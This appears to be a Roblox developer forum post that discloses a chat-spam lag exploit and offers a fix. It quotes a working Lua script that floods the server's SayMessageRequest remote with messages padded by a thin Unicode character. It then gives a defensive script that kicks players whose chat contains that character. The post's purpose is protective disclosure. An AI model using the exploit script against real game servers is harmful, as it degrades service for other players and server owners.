So there has been this exploit that makes people really lag and here is how it works:
local Message = "⛓"
local Unicode = " "
Message = Message .. Unicode:rep(200 - #Message)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local SayMessageRequest = ReplicatedStorage:FindFirstChild("SayMessageRequest", true)
if SayMessageRequest then
for i = 1, 7 do
SayMessageRequest:FireServer(Message, "All")
end
end
Basically what is going when executing this, the exploiter will start spamming a message. and the message will be the unicode WHICH IS A VERY VERY THIN CHARACTER. which can be replicated alot of times in this case 200 times as you can see in the code above, And roblox simply cant proccess that making the server lag HARD.
So I figured this out and managed to bypass it, Feel free to modify or use this for your own anti exploit, alltho credits would be appreciated.
local unicodes = {" "}
game.Players.PlayerAdded:Connect(function(player)
player.Chatted:Connect(function(message)
for _, word in ipairs(unicodes) do
if string.find(message:lower(), word:lower()) then
player:Kick("Using something you shouldn't?? ;)")
break
end
end
end)
end)
So what this does is just when a message was fired it will automatically check if any of the unicodes are anywhere inside the sent message, and if so then the player would get kicked. as I said feel free to modify and use this for your personal use or to enchance it.
This will prolly be saving a lot of games like RTS bc I saw so many people use this on RTS.